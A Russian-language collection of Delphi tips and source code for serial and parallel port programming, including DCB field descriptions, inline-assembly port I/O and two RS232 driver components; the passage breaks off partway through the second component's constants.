RTS_CONTROL_ENABLE
Включает строку RTS
RTS_CONTROL_HANDSHAKE
Enables RTS handshaking. The driver raises the RTS line
when the " type-ahead" (input)
buffer is less than one-half full and lowers
the RTS line when the buffer is more than three-quarters full.
If handshaking is enabled, it is an error for the application
to adjust the line by using the EscapeCommFunction function.
Допускает RTS подтверждение связи. Драйвер управляет потоком пересылки.
RTS выравнивается , когда входной буфер - меньше чем половина полного и
понижается, когда буфер - больше 2/3 полного .Если подтверждение связи
допускается, это используется для регулирования передачи данных
EscapeCommFunction.
RTS_CONTROL_TOGGLE
Specifies that the RTS line will be high if bytes are available for transmission.
After all buffered bytes have been sent, the RTS line will be low.
Определяет, что буфер будет высокий при подготовке данных для передачи.
После того, как все байты отосланы, буфер RTS будет низок.
FAbortOnError
Определяет, закончена ли операции чтения/записи, если происходит погрешность.
Если этот параметр ИСТИНЕН, драйвер закрывает все операции
чтения/записи с состоянием погрешности при возникновении оной.
Драйвер не будет принимать никакие дальнейшие действия,
пока не дождется подтверждения погрешности в передоваемых
(принимаемых) данных, вызывая функцию ClearCommError.
fDummy2
ЗАРЕЗЕРВИРОВАНО Microsoft
wReserved
ЗАРЕЗЕРВИРОВАНО Microsoft
XonLim
Определяет минимальное число байтов, находящихся во в
XoffLim
Определяет максимальное число байтов, находящихся во входном буфере прежде,
чем будет генерирована подача СТОП-СИГНАЛА. Максимальное число байтов,
позволенных во входном буфере вычитается из размеров, в байтах, самого входного буфера.
ByteSize
Определяет число битов в байтах, переданных и полученных.
Parity
Определяет схему четности, которую нужно использовать.
Этот параметр может быть одним из следующих значений:
EVENPARITY
MARKPARITY
NOPARITY
ODDPARITY
StopBits
Определяет число стоповых битов, которые нужно использовать.
Этот параметр может быть одним из следующих значений:
ONESTOPBIT1 stop bit
ONE5STOPBITS1.5 stop bits
TWOSTOPBITS2 stop bits
XonChar
Определяет значение СТАРТ-СИГНАЛА для передачи и приема.
XoffChar
Определяет значение СТОП-СИГНАЛА для передачи и приема.
ErrorChar
Определяет значение СИГНАЛА ОШИБКИ (генерируемого при ошибке четности) для передачи и приема.
EofChar
Определяет значение сигнала конца данных.
EvtChar
Определяет значение сигнала события.
wReserved1
ЗАРЕЗЕРВИРОВАНО Microsoft
Дополнение : Когда структура DCB использует «ручной» выбор конфигурации ,
следующие ограничения используются для ByteSize и StopBits параметров :
Число информационных разрядов должно быть от 5 до 8 битов.
Использование 5 информационных разрядов с 2 стоповыми битами -
недопустимая комбинация, как - 6, 7, или 8 информационных разрядов с 1.5 стоповыми битами.

Взято с Vingrad.ru http://forum.vingrad.ru


Как читать/писать в I/O порты?

В Delphi 1 записывать и считывать из портов можно через глобальный массив 'ports'. Однако данная возможность отсутствует в '32-битном' Delphi.

Следующие две функции можно использовать в любой версии delphi:

function InPort(PortAddr:word): byte;
{$IFDEF WIN32}
assembler; stdcall;
asm
        mov dx,PortAddr
        in al,dx
end;
{$ELSE}
begin
  Result := Port[PortAddr];
end;
{$ENDIF}

procedure OutPort(PortAddr:
          word; Databyte: byte);
{$IFDEF WIN32}
assembler; stdcall;
asm
   mov al,Databyte
   mov dx,PortAddr
   out dx,al
end;
{$ELSE}
begin
  Port[PortAddr] := DataByte;
end;
{$ENDIF}

Взято из http://forum.sources.ru


Как прочитать байт из параллельного порта?

Первый способ:

Var
     BytesRead : BYTE;
begin
               asm                \{ Читаем порт (LPT1) через встроенный ассемблер  \}
                 MOV dx,$379;
                 IN  al,dx;
                 MOV BytesRead,al;
               end;
BytesRead:=(BytesRead OR $07);   \{ OR а затем XOR данных \}
BytesRead:=(BytesRead XOR $80);  \{ маскируем неиспользуемые биты  \}

Второй способ :
Используем команды Turbo Pascal ...

  value:=port[$379]; \{ Прочитать из порта \}
  port[$379]:=value; \{ Записать в порт \}

Взято из http://forum.sources.ru


Как узнать адрес LPT-порта?

Эта функция работает в Win95 и Win98.

function GetPortAddress(PortNo: integer): word; assembler; stdcall;
asm
  push es
  push ebx
  mov ebx, PortNo
  shl ebx,1
  mov ax,40h // Dos segment adress
  mov es,ax
  mov ax,ES:[ebx+6] // get port adress in 16Bit way :)
  pop ebx
  pop es
end;

Для NT можно заглянуть сюда: http://www.wideman-one.com/gw/tech/Delphi/iopm/index.htm

Взято из http://forum.sources.ru


Как программно установить конфигурацию COM-порта в Windows 95?

procedure TForm1.Button1Click(Sender: TObject);
var
  CommPort : string;
  hCommFile : THandle;
  Buffer : PCommConfig;
  size : DWORD;
begin
  CommPort := 'COM1';
{Открываем Com-порт}
  hCommFile := CreateFile(PChar(CommPort),
                          GENERIC_WRITE,
                          0,
                          nil,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          0);
  if hCommFile=INVALID_HANDLE_VALUE then
  begin
    ShowMessage('Unable to open '+ CommPort);
    exit;
  end;
{Выделяем временный буфер}
  GetMem(Buffer, sizeof(TCommConfig));

{Получаем размер структуры CommConfig}
  size := 0;
  GetCommConfig(hCommFile, Buffer^, size);

{Освобождаем временный буфер}
  FreeMem(Buffer, sizeof(TCommConfig));

{Выделяем память для структуры CommConfig}
  GetMem(Buffer, size);
  GetCommConfig(hCommFile, Buffer^, size);

{Изменяем скорость передачи}
  Buffer^.dcb.BaudRate := 1200;

{Устанавливаем новую конфигурацию для COM-порта}
  SetCommConfig(hCommFile, Buffer^, size);

{Освобождаем буфер}
  FreeMem(Buffer, size);

{Закрываем COM-порт}
  CloseHandle(hCommFile);
end;

Взято из http://forum.sources.ru


Как узнать имена установленных в системе COM-портов?

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  reg : TRegistry;
  ts : TStrings;
  i : integer;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey('hardware\devicemap\serialcomm',
              false);
  ts := TStringList.Create;
  reg.GetValueNames(ts);
  for i := 0 to ts.Count -1 do begin
    Memo1.Lines.Add(reg.ReadString(ts.Strings[i]));
  end;
  ts.Free;
  reg.CloseKey;
  reg.free;
end;

Взято из http://forum.sources.ru


Как узнать, есть ли в приёмном буфере RS232 данные?

При помощи функции ClearCommError можно узнать, сколько байт данных находится в буфере приёма (и буфере передачи) последовательного интерфейса.

procedure DataInBuffer(Handle: THandle;
                       var InQueue, OutQueue: integer);
var ComStat: TComStat;
    e: integer;
begin
  if ClearCommError(Handle, e, @ComStat) then
  begin
    InQueue := ComStat.cbInQue;
    OutQueue := ComStat.cbOutQue;
  end
  else
  begin
    InQueue := 0;
    OutQueue := 0;
  end;
end;

Взято из http://forum.sources.ru


Компонент для последовательного устройства (TRS232)

Компонент, который представлен здесь, выполняет функции синхронного чтения и записи в последовательный интерфейс RS232.
В цикле выполняется Application.ProcessMessages, чтобы все сообщения от основной программы обрабатывались.

// ----------------------------------------------------------------------
// | RS232 - Basic Driver for the RS232 port 1.0                        |
// ----------------------------------------------------------------------
// | © 1997 by Marco Cocco                                              |
// | © 1998 by enhanced by Angerer Bernhard                             |
// ----------------------------------------------------------------------

unit uRS232;
interface

uses
  Windows, Messages, SysUtils, Classes, Forms,
  ExtCtrls;            // TTimer

////////////////////////////////////////////////////////////////////////////////

type
  TReceiveDataEvent = procedure(Sender: TObject; Msg, lParam, wParam:longint) of object;

  // COM Port Baud Rates
  TComPortBaudRate = ( br110, br300, br600, br1200, br2400, br4800,
                       br9600, br14400, br19200, br38400, br56000,
                       br57600, br115200 );
  // COM Port Numbers
  TComPortNumber = ( pnCOM1, pnCOM2, pnCOM3, pnCOM4 );
  // COM Port Data bits
  TComPortDataBits = ( db5BITS, db6BITS, db7BITS, db8BITS );
  // COM Port Stop bits
  TComPortStopBits = ( sb1BITS, sb1HALFBITS, sb2BITS );
  // COM Port Parity
  TComPortParity = ( ptNONE, ptODD, ptEVEN, ptMARK, ptSPACE );
  // COM Port Hardware Handshaking
  TComPortHwHandshaking = ( hhNONE, hhRTSCTS );
  // COM Port Software Handshaing
  TComPortSwHandshaking = ( shNONE, shXONXOFF );

  TCommPortDriver = class(TComponent)
  private
    hTimer: TTimer;
    FActive: boolean;
    procedure SetActive(const Value: boolean);
  protected
    FComPortHandle             : THANDLE; // COM Port Device Handle
    FComPort                   : TComPortNumber; // COM Port to use (1..4)
    FComPortBaudRate           : TComPortBaudRate; // COM Port speed (brXXXX)
    FComPortDataBits           : TComPortDataBits; // Data bits size (5..8)
    FComPortStopBits           : TComPortStopBits; // How many stop bits to use
                                                   // (1,1.5,2)
    FComPortParity             : TComPortParity; // Type of parity to use
                                                 // (none,odd,even,mark,space)
    FComPortHwHandshaking      : TComPortHwHandshaking; // Type of hw
                                                        // handshaking to use
    FComPortSwHandshaking      : TComPortSwHandshaking; // Type of sw
                                                        // handshaking to use
    FComPortInBufSize          : word; // Size of the input buffer
    FComPortOutBufSize         : word; // Size of the output buffer
    FComPortReceiveData        : TReceiveDataEvent;
    FComPortPollingDelay       : word; // ms of delay between COM port pollings
    FTimeOut                   : integer; // sec until timeout
    FTempInBuffer              : pointer;
    procedure SetComPort( Value: TComPortNumber );
    procedure SetComPortBaudRate( Value: TComPortBaudRate );
    procedure SetComPortDataBits( Value: TComPortDataBits );
    procedure SetComPortStopBits( Value: TComPortStopBits );
    procedure SetComPortParity( Value: TComPortParity );
    procedure SetComPortHwHandshaking( Value: TComPortHwHandshaking );
    procedure SetComPortSwHandshaking( Value: TComPortSwHandshaking );
    procedure SetComPortInBufSize( Value: word );
    procedure SetComPortOutBufSize( Value: word );
    procedure SetComPortPollingDelay( Value: word );
    procedure ApplyCOMSettings;
    procedure TimerEvent(Sender: TObject); virtual;
  public
    constructor Create( AOwner: TComponent ); override;
    destructor  Destroy; override;

    function  Connect: boolean;    //override;
    function  Disconnect: boolean; //override;
    function  Connected: boolean;

    function SendData( DataPtr: pointer; DataSize: integer ): boolean;
    function SendString( aStr: string ): boolean;

    // Event to raise when there is data available (input buffer has data)
    property OnReceiveData: TReceiveDataEvent read FComPortReceiveData
                                              write FComPortReceiveData;
  published
    // Which COM Port to use
    property ComPort: TComPortNumber read FComPort write SetComPort
                                                   default pnCOM2;
    // COM Port speed (bauds)
    property ComPortSpeed: TComPortBaudRate read FComPortBaudRate
                           write SetComPortBaudRate default br9600;
    // Data bits to used (5..8, for the 8250 the use of 5 data bits with 2 stop
    // bits is an invalid combination, as is 6, 7, or 8 data bits with 1.5
    // stop bits)
    property ComPortDataBits: TComPortDataBits read FComPortDataBits
                              write SetComPortDataBits default db8BITS;
    // Stop bits to use (1, 1.5, 2)
    property ComPortStopBits: TComPortStopBits read FComPortStopBits
                              write SetComPortStopBits default sb1BITS;
    // Parity Type to use (none,odd,even,mark,space)
    property ComPortParity: TComPortParity read FComPortParity
                            write SetComPortParity default ptNONE;
    // Hardware Handshaking Type to use:
    //  cdNONE   no handshaking
    //  cdCTSRTS both cdCTS and cdRTS apply (This is the more common method)
    property ComPortHwHandshaking: TComPortHwHandshaking
      read FComPortHwHandshaking write SetComPortHwHandshaking default hhNONE;
    // Software Handshaking Type to use:
    //  cdNONE          no handshaking
    //  cdXONXOFF       XON/XOFF handshaking
    property ComPortSwHandshaking: TComPortSwHandshaking
      read FComPortSwHandshaking write SetComPortSwHandshaking default shNONE;
    // Input Buffer size
    property ComPortInBufSize: word read FComPortInBufSize
                                    write SetComPortInBufSize default 2048;
    // Output Buffer size
    property ComPortOutBufSize: word read FComPortOutBufSize
                                     write SetComPortOutBufSize default 2048;
    // ms of delay between COM port pollings
    property ComPortPollingDelay: word read FComPortPollingDelay
                                       write SetComPortPollingDelay default 100;
    property TimeOut: integer read FTimeOut write FTimeOut default 30;

    property Active: boolean read FActive write SetActive default false;
  end;

  TRS232 = class(TCommPortDriver)
  protected
  public
    // new comm parameters are set
    constructor Create( AOwner: TComponent ); override;

    // ReadStrings reads direct from the comm-buffer and waits for
    // more characters and handles the timeout
    function  ReadString(var aResStr: string; aCount: word ): boolean;
  published
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Additional', [TRS232]);
end;

constructor TCommPortDriver.Create( AOwner: TComponent );
begin
  inherited Create( AOwner );
  // Initialize to default values
  FComPortHandle             := 0;       // Not connected
  FComPort                   := pnCOM2;  // COM 2
  FComPortBaudRate           := br9600;  // 9600 bauds
  FComPortDataBits           := db8BITS; // 8 data bits
  FComPortStopBits           := sb1BITS; // 1 stop bit
  FComPortParity             := ptNONE;  // no parity
  FComPortHwHandshaking      := hhNONE;  // no hardware handshaking
  FComPortSwHandshaking      := shNONE;  // no software handshaking
  FComPortInBufSize          := 2048;    // input buffer of 512 bytes
  FComPortOutBufSize         := 2048;    // output buffer of 512 bytes
  FComPortReceiveData        := nil;     // no data handler
  FTimeOut                   := 30;      // sec until timeout
  FComPortPollingDelay       := 500;
  GetMem( FTempInBuffer, FComPortInBufSize ); // Temporary buffer
                                              // for received data
  // Timer for teaching and messages
  hTimer := TTimer.Create(Self);
  hTimer.Enabled := false;
  hTimer.Interval := 500;
  hTimer.OnTimer := TimerEvent;
  if ComponentState = [csDesigning] then
    EXIT;

  if FActive then
    hTimer.Enabled := true; // start the timer only at application start
end;

destructor TCommPortDriver.Destroy;
begin
  // Be sure to release the COM device
  Disconnect;
  // Free the temporary buffer
  FreeMem( FTempInBuffer, FComPortInBufSize );
  // Destroy the timer's window
  inherited Destroy;
end;

procedure TCommPortDriver.SetComPort( Value: TComPortNumber );
begin
  // Be sure we are not using any COM port
  if Connected then
    exit;
  // Change COM port
  FComPort := Value;
end;

procedure TCommPortDriver.SetComPortBaudRate( Value: TComPortBaudRate );
begin
  // Set new COM speed
  FComPortBaudRate := Value;
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortDataBits( Value: TComPortDataBits );
begin
  // Set new data bits
  FComPortDataBits := Value;
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortStopBits( Value: TComPortStopBits );
begin
  // Set new stop bits
  FComPortStopBits := Value;
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortParity( Value: TComPortParity );
begin
  // Set new parity
  FComPortParity := Value;
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortHwHandshaking(Value: TComPortHwHandshaking);
begin
  // Set new hardware handshaking
  FComPortHwHandshaking := Value;
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortSwHandshaking(Value: TComPortSwHandshaking);
begin
  // Set new software handshaking
  FComPortSwHandshaking := Value;

  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortInBufSize( Value: word );
begin
  // Free the temporary input buffer
  FreeMem( FTempInBuffer, FComPortInBufSize );
  // Set new input buffer size
  FComPortInBufSize := Value;
  // Allocate the temporary input buffer
  GetMem( FTempInBuffer, FComPortInBufSize );
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortOutBufSize( Value: word );
begin
  // Set new output buffer size
  FComPortOutBufSize := Value;
  // Apply changes
  if Connected then
    ApplyCOMSettings;
end;

procedure TCommPortDriver.SetComPortPollingDelay( Value: word );
begin
  FComPortPollingDelay := Value;
  hTimer.Interval := Value;
end;

const
  Win32BaudRates: array[br110..br115200] of DWORD =
    ( CBR_110, CBR_300, CBR_600, CBR_1200, CBR_2400, CBR_4800, CBR_9600,
      CBR_14400, CBR_19200, CBR_38400, CBR_56000, CBR_57600, CBR_115200 );

const
  dcb_Binary              = $00000001;
  dcb_ParityCheck         = $00000002;
  dcb_OutxCtsFlow         = $00000004;
  dcb_OutxDsrFlow         = $00000008;
  dcb_DtrControlMask      = $00000030;
    dcb_DtrControlDisable   = $00000000;
    dcb_DtrControlEnable    = $00000010;
    dcb_DtrControlHandshake = $00000020;
  dcb_DsrSensivity        = $00000040;
  dcb_TXContinueOnXoff    = $00000080;
  dcb_OutX                = $00000100;
  dcb_InX                 = $00000200;
  dcb_ErrorChar           = $00000400;
  dcb_NullStrip           = $00000800;
  dcb_RtsControlMask      = $00003000;
    dcb_RtsControlDisable   = $00000000;
    dcb_RtsControlEnable    = $00001000;
    dcb_RtsControlHandshake = $00002000;
    dcb_RtsControlToggle    = $00003000;
  dcb_AbortOnError        = $00004000;
  dcb_Reserveds           = $FFFF8000;

// Apply COM settings.
procedure TCommPortDriver.ApplyCOMSettings;
var dcb: TDCB;
begin
  // Do nothing if not connected
  if not Connected then
    exit;

  // Clear all
  fillchar( dcb, sizeof(dcb), 0 );
  // Setup dcb (Device Control Block) fields
  dcb.DCBLength := sizeof(dcb); // dcb structure size
  dcb.BaudRate := Win32BaudRates[ FComPortBaudRate ]; // baud rate to use
  dcb.Flags := dcb_Binary or // Set fBinary: Win32 does not support non
                             // binary mode transfers
                             // (also disable EOF check)
               dcb_RtsControlEnable; // Enables the RTS line when the device
                                     // is opened and leaves it on
//             dcb_DtrControlEnable; // Enables the DTR line when the device
                                     // is opened and leaves it on

  case FComPortHwHandshaking of // Type of hw handshaking to use
    hhNONE:; // No hardware handshaking
    hhRTSCTS: // RTS/CTS (request-to-send/clear-to-send) hardware handshaking
      dcb.Flags := dcb.Flags or dcb_OutxCtsFlow or dcb_RtsControlHandshake;
  end;

   case FComPortSwHandshaking of // Type of sw handshaking to use
    shNONE:; // No software handshaking
    shXONXOFF: // XON/XOFF handshaking
      dcb.Flags := dcb.Flags or dcb_OutX or dcb_InX;
  end;

  dcb.XONLim := FComPortInBufSize div 4; // Specifies the minimum number
                                         // of bytes allowed
                                         // in the input buffer before the
                                         // XON character is sent
  dcb.XOFFLim := 1; // Specifies the maximum number of bytes allowed in the
                    // input buffer before the XOFF character is sent.
                    // The maximum number of bytes allowed is calculated by
                    // subtracting this value from the size, in bytes,
                    // of the input buffer
  dcb.ByteSize := 5 + ord(FComPortDataBits); // how many data bits to use
  dcb.Parity := ord(FComPortParity); // type of parity to use
  dcb.StopBits := ord(FComPortStopbits); // how many stop bits to use
  dcb.XONChar := #17; // XON ASCII char
  dcb.XOFFChar := #19; // XOFF ASCII char
  SetCommState( FComPortHandle, dcb );
  // Setup buffers size
  SetupComm( FComPortHandle, FComPortInBufSize, FComPortOutBufSize );
end;

function TCommPortDriver.Connect: boolean;
var comName: array[0..4] of char;
    tms: TCOMMTIMEOUTS;
begin
  // Do nothing if already connected
  Result := Connected;
  if Result then exit;
  // Open the COM port
  StrPCopy( comName, 'COM' );
  comName[3] := chr( ord('1') + ord(FComPort) );
  comName[4] := #0;
  FComPortHandle := CreateFile(
                                comName,
                                GENERIC_READ or GENERIC_WRITE,
                                0, // Not shared
                                nil, // No security attributes
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                0 // No template
                              ) ;
  Result := Connected;
  if not Result then exit;
  // Apply settings
  ApplyCOMSettings;
  // Setup timeouts: we disable timeouts because we are polling the com port!
  tms.ReadIntervalTimeout := 1; // Specifies the maximum time, in milliseconds,
                                // allowed to elapse between the arrival of two
                                // characters on the communications line
  tms.ReadTotalTimeoutMultiplier := 0; // Specifies the multiplier, in
                                       // milliseconds, used to calculate
                                       // the total time-out period
                                       // for read operations.
  tms.ReadTotalTimeoutConstant := 1; // Specifies the constant, in milliseconds,
                                     // used to calculate the total time-out
                                     // period for read operations.
  tms.WriteTotalTimeoutMultiplier := 0; // Specifies the multiplier, in
                                        // milliseconds, used to calculate
                                        // the total time-out period
                                        // for write operations.
  tms.WriteTotalTimeoutConstant := 0; // Specifies the constant, in
                                      // milliseconds, used to calculate
                                      // the total time-out period
                                      // for write operations.
  SetCommTimeOuts( FComPortHandle, tms );

  Sleep(1000);  // to avoid timing problems, wait until the Comm-Port is opened
end;

function TCommPortDriver.Disconnect: boolean;
begin
  Result:=false;
  if Connected then
  begin
    CloseHandle( FComPortHandle );
    FComPortHandle := 0;
  end;
  Result := true;
end;

function TCommPortDriver.Connected: boolean;
begin
  Result := FComPortHandle > 0;
end;

function TCommPortDriver.SendData(DataPtr: pointer; DataSize: integer): boolean;
var nsent: DWORD;
begin
  Result := WriteFile( FComPortHandle, DataPtr^, DataSize, nsent, nil );
  Result := Result and (nsent=DataSize);
end;

function TCommPortDriver.SendString( aStr: string ): boolean;
begin
  if not Connected then
    if not Connect then raise Exception.CreateHelp('RS232.SendString:'+
                              ' Connect not possible !', 101);
  Result:=SendData( pchar(aStr), length(aStr) );
  if not Result then raise
    Exception.CreateHelp('RS232.SendString: Send not possible !', 102);
end;

// Event for teaching and messages
procedure TCommPortDriver.TimerEvent(Sender: TObject);
var InQueue, OutQueue: integer;

  // Test if data in inQueue(outQueue)
  procedure DataInBuffer(Handle: THandle; var aInQueue, aOutQueue: integer);
  var ComStat: TComStat;
      e: cardinal;
  begin
    aInQueue := 0;
    aOutQueue := 0;
    if ClearCommError(Handle, e, @ComStat) then
    begin
      aInQueue := ComStat.cbInQue;
      aOutQueue := ComStat.cbOutQue;
    end;
  end;

begin
  if not Connected then
    if not Connect then raise Exception.CreateHelp('RS232.TimerEvent:'+
                              ' Connect not possible !', 101);
  if Connected then
  begin
    DataInBuffer(FComPortHandle, InQueue, OutQueue);
    // data in inQueue
    if InQueue > 0 then
      if Assigned(FComPortReceiveData) then FComPortReceiveData(Self , 0, 0, 0);
  end;
end;

// RS232 implementation ////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////

constructor TRS232.Create( AOwner: TComponent );
begin
  inherited Create( AOwner );
  //OnReceiveData := ReceiveData;
  FComPort                   := pnCOM1;  // COM 1
  FComPortBaudRate           := br9600;  // 9600 bauds
  FComPortDataBits           := db8BITS; // 8 data bits
  FComPortStopBits           := sb1BITS; // 1 stop bits
  FComPortParity             := ptEVEN;  // even parity
  FComPortHwHandshaking      := hhNONE;  // no hardware handshaking
  FComPortSwHandshaking      := shNONE;  // no software handshaking
  FComPortInBufSize          := 2048;    // input buffer of 512 ? bytes
  FComPortOutBufSize         := 2048;    // output buffer of 512 ? bytes
  FTimeOut                   := 30;      // sec until timeout
end;

function  TRS232.ReadString(VAR aResStr: string; aCount: word ): boolean;
var
  nRead: dword;
  Buffer: string;
  Actual, Before: TDateTime;
  TimeOutMin, TimeOutSec, lCount: word;
begin
  Result := false;
  if not Connected then
    if not Connect then raise Exception.CreateHelp('RS232.ReadString:'+
                              ' Connect not possible !', 101);
  aResStr := '';
  TimeOutMin:=TimeOut div 60;
  TimeOutSec:=TimeOut mod 60;
  if (not Connected) or (aCount <= 0) then EXIT;
  nRead := 0; lCount := 0;
  Before := Time;
  while lCount<aCount do
  begin
    Application.ProcessMessages;
    SetLength(Buffer,1);
    if ReadFile( FComPortHandle, PChar(Buffer)^, 1, nRead, nil ) then
    begin
      if nRead > 0 then
      begin
        aResStr := aResStr + Buffer;
        inc(lCount);
      end;
      Actual := Time;
      if Actual-Before>EncodeTime(0, TimeOutMin, TimeOutSec, 0)
      then raise Exception.CreateHelp('RS232.ReadString: TimeOut !', 103);
    end
    else begin
      raise Exception.CreateHelp('RS232.ReadString: Read not possible !', 104);
    end;
  end; // while
  Result:=true;
end;

{$A+,B-,C+,D-,E-,F-,G+,H+,I+,J+,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $51000000}
{$APPTYPE GUI}
unit ComportDriverThread;

interface

uses
  //Include "ExtCtrl" for the TTimer component.
  Windows, Messages, SysUtils, Classes, Forms, ExtCtrls;

type

  TComPortNumber        = (pnCOM1,pnCOM2,pnCOM3,pnCOM4);
  TComPortBaudRate      = (br110,br300,br600,br1200,br2400,br4800,br9600,
                           br14400,br19200,br38400,br56000,br57600,br115200);
  TComPortDataBits      = (db5BITS,db6BITS,db7BITS,db8BITS);
  TComPortStopBits      = (sb1BITS,sb1HALFBITS,sb2BITS);
  TComPortParity        = (ptNONE,ptODD,ptEVEN,ptMARK,ptSPACE);
  TComportHwHandshaking = (hhNONE,hhRTSCTS);
  TComPortSwHandshaking = (shNONE,shXONXOFF);

  TTimerThread   = class(TThread)
  private
    { Private declarations }
    FOnTimer : TThreadMethod;
    FEnabled: Boolean;
  protected
    { Protected declarations }
    procedure Execute; override;
    procedure SupRes;
  public
    { Public declarations }
  published
    { Published declarations }
    property Enabled: Boolean read FEnabled write FEnabled;
  end;

  TComportDriverThread = class(TComponent)
  private
    { Private declarations }
    FTimer         : TTimerThread;
    FOnReceiveData : TNotifyEvent;
    FReceiving     : Boolean;
  protected
    { Protected declarations }
    FComPortActive           : Boolean;
    FComportHandle           : THandle;
    FComportNumber           : TComPortNumber;
    FComportBaudRate         : TComPortBaudRate;
    FComportDataBits         : TComPortDataBits;
    FComportStopBits         : TComPortStopBits;
    FComportParity           : TComPortParity;
    FComportHwHandshaking    : TComportHwHandshaking;
    FComportSwHandshaking    : TComPortSwHandshaking;
    FComportInputBufferSize  : Word;
    FComportOutputBufferSize : Word;
    FComportPollingDelay     : Word;
    FTimeOut                 : Integer;
    FTempInputBuffer         : Pointer;
    procedure SetComPortActive(Value: Boolean);
    procedure SetComPortNumber(Value: TComPortNumber);
    procedure SetComPortBaudRate(Value: TComPortBaudRate);
    procedure SetComPortDataBits(Value: TComPortDataBits);
    procedure SetComPortStopBits(Value: TComPortStopBits);
    procedure SetComPortParity(Value: TComPortParity);
    procedure SetComPortHwHandshaking(Value: TComportHwHandshaking);
    procedure SetComPortSwHandshaking(Value: TComPortSwHandshaking);
    procedure SetComPortInputBufferSize(Value: Word);
    procedure SetComPortOutputBufferSize(Value: Word);
    procedure SetComPortPollingDelay(Value: Word);
    procedure ApplyComPortSettings;
    procedure TimerEvent; virtual;
    procedure doDataReceived; virtual;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;

    function Connect: Boolean;
    function Disconnect: Boolean;
    function Connected: Boolean;
    function Disconnected: Boolean;
    function SendData(DataPtr: Pointer; DataSize: Integer): Boolean;
    function SendString(Input: String): Boolean;
    function ReadString(var Str: string): Integer;
  published
    { Published declarations }
    property Active: Boolean read FComPortActive write SetComPortActive default False;
    property ComPort: TComPortNumber read FComportNumber write SetComportNumber
                                                         default pnCOM1;
    property ComPortSpeed: TComPortBaudRate read FComportBaudRate write
                           SetComportBaudRate default br9600;
    property ComPortDataBits: TComPortDataBits read FComportDataBits write
                              SetComportDataBits default db8BITS;
    property ComPortStopBits: TComPortStopBits read FComportStopBits write
                              SetComportStopBits default sb1BITS;
    property ComPortParity: TComPortParity read FComportParity write
                            SetComportParity default ptNONE;
    property ComPortHwHandshaking: TComportHwHandshaking read FComportHwHandshaking
                                   write SetComportHwHandshaking default
                                   hhNONE;
    property ComPortSwHandshaking: TComPortSwHandshaking read FComportSwHandshaking
                                   write SetComportSwHandshaking default
                                   shNONE;
    property ComPortInputBufferSize: Word read FComportInputBufferSize
                                     write SetComportInputBufferSize default
                                     2048;
    property ComPortOutputBufferSize: Word read FComportOutputBufferSize
                                      write SetComportOutputBufferSize default
                                      2048;
    property ComPortPollingDelay: Word read FComportPollingDelay write
                                  SetComportPollingDelay default 100;
    property OnReceiveData: TNotifyEvent read FOnReceiveData
                            write FOnReceiveData;
    property TimeOut: Integer read FTimeOut write FTimeOut default 30;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Self-made Components', [TComportDriverThread]);
end;

{ TComportDriver }

constructor TComportDriverThread.Create(AOwner: TComponent);
begin
  inherited;
  FReceiving               := False;
  FComportHandle           := 0;
  FComportNumber           := pnCOM1;
  FComportBaudRate         := br9600;
  FComportDataBits         := db8BITS;
  FComportStopBits         := sb1BITS;
  FComportParity           := ptNONE;
  FComportHwHandshaking    := hhNONE;
  FComportSwHandshaking    := shNONE;
  FComportInputBufferSize  := 2048;
  FComportOutputBufferSize := 2048;
  FOnReceiveData           := nil;
  FTimeOut                 := 30;
  FComportPollingDelay     := 500;
  GetMem(FTempInputBuffer,FComportInputBufferSize);

  if csDesigning in ComponentState then
    Exit;

  FTimer := TTimerThread.Create(False);
  FTimer.FOnTimer := TimerEvent;

  if FComPortActive then
    FTimer.Enabled := True;
  FTimer.SupRes;
end;

destructor TComportDriverThread.Destroy;
begin
  Disconnect;
  FreeMem(FTempInputBuffer,FComportInputBufferSize);
  inherited Destroy;
end;

function TComportDriverThread.Connect: Boolean;
var
  comName: array[0..4] of Char;
  tms: TCommTimeouts;
begin
  if Connected then
    Exit;
  StrPCopy(comName,'COM');
  comName[3] := chr(ord('1') + ord(FComportNumber));
  comName[4] := #0;
  FComportHandle := CreateFile(comName,GENERIC_READ OR GENERIC_WRITE,0,nil,
                               OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  if not Connected then
    Exit;
  ApplyComPortSettings;
  tms.ReadIntervalTimeout         := 1;
  tms.ReadTotalTimeoutMultiplier  := 0;
  tms.ReadTotalTimeoutConstant    := 1;
  tms.WriteTotalTimeoutMultiplier := 0;
  tms.WriteTotalTimeoutConstant   := 0;
  SetCommTimeouts(FComportHandle,tms);
  Sleep(1000);
end;

function TComportDriverThread.Connected: Boolean;
begin
  Result := FComportHandle > 0;
end;

function TComportDriverThread.Disconnect: Boolean;
begin
  Result := False;
  if Connected then
  begin
    CloseHandle(FComportHandle);
    FComportHandle := 0;
  end;
  Result := True;
end;

function TComportDriverThread.Disconnected: Boolean;
begin
  if (FComportHandle <> 0) then
    Result := False
  else
    Result := True;
end;

const
  Win32BaudRates: array[br110..br115200] of DWORD =
   (CBR_110,CBR_300,CBR_600,CBR_1200,CBR_2400,CBR_4800,CBR_9600,CBR_14400,
    CBR_19200,CBR_38400,CBR_56000,CBR_57600,CBR_115200);

const
  dcb_Binary              = $00000001;
  dcb_ParityCheck         = $00000002;
